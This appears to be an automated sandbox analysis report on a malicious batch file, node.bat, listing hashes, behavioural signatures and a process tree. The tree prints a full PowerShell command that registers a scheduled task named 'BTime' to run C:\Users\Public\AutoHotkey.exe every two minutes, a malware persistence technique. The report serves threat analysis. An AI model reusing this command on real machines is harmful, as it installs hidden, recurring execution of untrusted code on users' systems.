Analysis
- max time kernel
121s - max time network
123s - platform
windows7_x64 - resource
win7-20231129-en - resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system - submitted
10/06/2024, 15:36
Static task
static1
Behavioral task
behavioral1
Sample
Auto.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Auto.vbs
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
AutoHotkey.ps1
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
AutoHotkey.ps1
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
AutoHotkey.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
AutoHotkey.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral7
Sample
node.bat
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
node.bat
Resource
win10v2004-20240426-en
General
- Target node.bat
- Size 687B
- Sample240610-s2bars1gmb
- SHA256 b99b7a8864e07ed15ba3e11ec6e5ad793d3a8e257321c89c7c2b7842cc674728
- MD5 52dc8ab7250ca32c7dea8867d6464e5b
- SHA1 4e3202f42632fa8a2c1c632af80b8223b9ada385
- SHA512 f43a7fc7e9d57f46eb08a8d84dde6503b5fd65c1f2e4a28f80ca700ca2050506c05b09ad52e092c6b46f094a079580bbd863cf04ff0ea3db589d2527218ef985
- MD5 SHA1 SHA512
Malware Config
Signatures
-
pid Process 3012 powershell.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3012 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3012 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3004 wrote to memory of 3012 3004 cmd.exe 29 PID 3004 wrote to memory of 3012 3004 cmd.exe 29 PID 3004 wrote to memory of 3012 3004 cmd.exe 29 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\node.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -Command "$tr = New-Object -ComObject Schedule.Service; $tr.Connect(); $ta = $tr.NewTask(0); $ta.RegistrationInfo.Description = 'Runs a script every 2 minutes'; $ta.Settings.Enabled = $true; $ta.Settings.DisallowStartIfOnBatteries = $false; $st = $ta.Triggers.Create(1); $st.StartBoundary = [DateTime]::Now.ToString('yyyy-MM-ddTHH:mm:ss'); $st.Repetition.Interval = 'PT2M'; $md = $ta.Actions.Create(0); $md.Path = 'C:\\Users\\Public\\AutoHotkey.exe'; $ns = $tr.GetFolder('\'); $ns.RegisterTaskDefinition('BTime', $ta, 6, $null, $null, 3);"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3012
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {3BEC3FFB-D4DE-4DD7-A6B7-529CD627AC33} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]1⤵PID:1728